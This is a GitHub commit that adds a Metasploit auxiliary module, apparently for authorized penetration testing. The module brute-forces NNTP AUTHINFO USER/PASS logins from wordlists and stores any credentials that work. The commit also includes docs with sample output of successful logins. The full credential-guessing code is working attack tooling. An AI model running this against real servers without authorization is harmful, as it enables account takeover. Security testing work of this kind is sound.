Skip to content

Commit de23047

Browse files
committed
Land rapid7#8566, Add ye olde NNTP Login Utility scanner module
2 parents 03691cc + 414f440 commit de23047

File tree

2 files changed

+231
-0
lines changed

2 files changed

+231
-0
lines changed
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
## Description
2+
3+
This module attempts to authenticate to NNTP services which support the AUTHINFO authentication extension.
4+
5+
This module supports AUTHINFO USER/PASS authentication, but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods.
6+
7+
If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
8+
9+
10+
## Vulnerable Application
11+
12+
This module has been tested successfully on:
13+
14+
* [SurgeNews](http://netwinsite.com/surgenews/) on Windows 7 SP 1.
15+
* [SurgeNews](http://netwinsite.com/surgenews/) on Ubuntu Linux.
16+
* [INN2](https://www.eyrie.org/~eagle/faqs/inn.html) on Debian Linux.
17+
18+
19+
## Verification Steps
20+
21+
1. Do: `use auxiliary/scanner/nntp/nntp_login`
22+
2. Do: `set RHOSTS [IP]`
23+
3. Do: `set RPORT [IP]`
24+
4. Do: `run`
25+
26+
27+
## Scenarios
28+
29+
```
30+
msf auxiliary(nntp_login) > run
31+
32+
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'asdf' : 'asdf'
33+
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'zxcv' : 'zxcv'
34+
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'test' : 'test'
35+
[*] Scanned 1 of 2 hosts (50% complete)
36+
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'asdf' : 'asdf'
37+
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'admin' : 'admin'
38+
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'user' : 'pass'
39+
[*] Scanned 2 of 2 hosts (100% complete)
40+
[*] Auxiliary module execution completed
41+
```
42+
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Auxiliary::Report
9+
include Msf::Auxiliary::AuthBrute
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'NNTP Login Utility',
16+
'Description' => %q{
17+
This module attempts to authenticate to NNTP services
18+
which support the AUTHINFO authentication extension.
19+
20+
This module supports AUTHINFO USER/PASS authentication,
21+
but does not support AUTHINFO GENERIC or AUTHINFO SASL
22+
authentication methods.
23+
},
24+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
25+
'License' => MSF_LICENSE,
26+
'References' => [ [ 'CVE', '1999-0502' ], # Weak password
27+
[ 'URL', 'https://tools.ietf.org/html/rfc3977' ],
28+
[ 'URL', 'https://tools.ietf.org/html/rfc4642' ],
29+
[ 'URL', 'https://tools.ietf.org/html/rfc4643' ] ]))
30+
register_options(
31+
[
32+
Opt::RPORT(119),
33+
OptPath.new('USER_FILE', [ false, 'The file that contains a list of probable usernames.',
34+
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ]),
35+
OptPath.new('PASS_FILE', [ false, 'The file that contains a list of probable passwords.',
36+
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ])
37+
])
38+
deregister_options 'RHOST'
39+
end
40+
41+
def run_host(ip)
42+
begin
43+
connect
44+
return :abort unless nntp?
45+
return :abort unless supports_authinfo?
46+
47+
report_service :host => rhost,
48+
:port => rport,
49+
:proto => 'tcp',
50+
:name => 'nntp'
51+
disconnect
52+
53+
each_user_pass { |user, pass| do_login user, pass }
54+
rescue ::Interrupt
55+
raise $ERROR_INFO
56+
rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
57+
print_error "#{peer} Connection failed"
58+
return
59+
rescue OpenSSL::SSL::SSLError => e
60+
print_error "SSL negotiation failed: #{e}"
61+
rescue => e
62+
print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
63+
return
64+
ensure
65+
disconnect
66+
end
67+
end
68+
69+
def nntp?
70+
banner = sock.get_once
71+
72+
if !banner
73+
vprint_error "#{peer} No response"
74+
return false
75+
end
76+
77+
if banner !~ /^200/
78+
print_error 'Unexpected reply'
79+
return false
80+
end
81+
82+
vprint_status 'Server is a NTTP server'
83+
vprint_status "Banner: #{banner}"
84+
true
85+
end
86+
87+
def supports_authinfo?
88+
sock.put "HELP\r\n"
89+
res = sock.get(-1)
90+
code = res.scan(/\A(\d+)\s/).flatten.first.to_i
91+
92+
if code.nil?
93+
print_error 'Server is not a NNTP server'
94+
return false
95+
end
96+
97+
if code == 480
98+
vprint_warning 'Authentication is required before listing authentication capabilities.'
99+
return true
100+
end
101+
102+
if code == 100 && res =~ /authinfo/i
103+
vprint_status 'Server supports AUTHINFO'
104+
return true
105+
end
106+
107+
print_error 'Server does not support AUTHINFO'
108+
false
109+
end
110+
111+
def do_login(user, pass)
112+
vprint_status "Trying username:'#{user}' with password:'#{pass}'"
113+
114+
begin
115+
connect
116+
sock.get_once
117+
118+
sock.put "AUTHINFO USER #{user}\r\n"
119+
res = sock.get_once
120+
unless res
121+
vprint_error "#{peer} No response"
122+
return :abort
123+
end
124+
125+
code = res.scan(/\A(\d+)\s/).flatten.first.to_i
126+
if code != 381
127+
vprint_error "#{peer} Unexpected reply. Skipping user..."
128+
return :skip_user
129+
end
130+
131+
sock.put "AUTHINFO PASS #{pass}\r\n"
132+
res = sock.get_once
133+
unless res
134+
vprint_error "#{peer} No response"
135+
return :abort
136+
end
137+
138+
code = res.scan(/\A(\d+)\s/).flatten.first.to_i
139+
if code == 452 || code == 481
140+
vprint_error "#{peer} Login failed"
141+
return
142+
elsif code == 281
143+
print_good "#{peer} Successful login with: '#{user}' : '#{pass}'"
144+
report_cred ip: rhost,
145+
port: rport,
146+
service_name: 'nntp',
147+
user: user,
148+
password: pass,
149+
proof: code.to_s
150+
return :next_user
151+
else
152+
vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"
153+
return
154+
end
155+
rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
156+
print_error 'Connection failed'
157+
return
158+
rescue OpenSSL::SSL::SSLError => e
159+
print_error "SSL negotiation failed: #{e}"
160+
return :abort
161+
end
162+
rescue => e
163+
print_error "Error: #{e}"
164+
return nil
165+
ensure
166+
disconnect
167+
end
168+
169+
def report_cred(opts)
170+
service_data = { address: opts[:ip],
171+
port: opts[:port],
172+
service_name: opts[:service_name],
173+
protocol: 'tcp',
174+
workspace_id: myworkspace_id }
175+
176+
credential_data = { origin_type: :service,
177+
module_fullname: fullname,
178+
username: opts[:user],
179+
private_data: opts[:password],
180+
private_type: :password }.merge service_data
181+
182+
login_data = { last_attempted_at: DateTime.now,
183+
core: create_credential(credential_data),
184+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
185+
proof: opts[:proof] }.merge service_data
186+
187+
create_credential_login login_data
188+
end
189+
end

0 commit comments

Comments
 (0)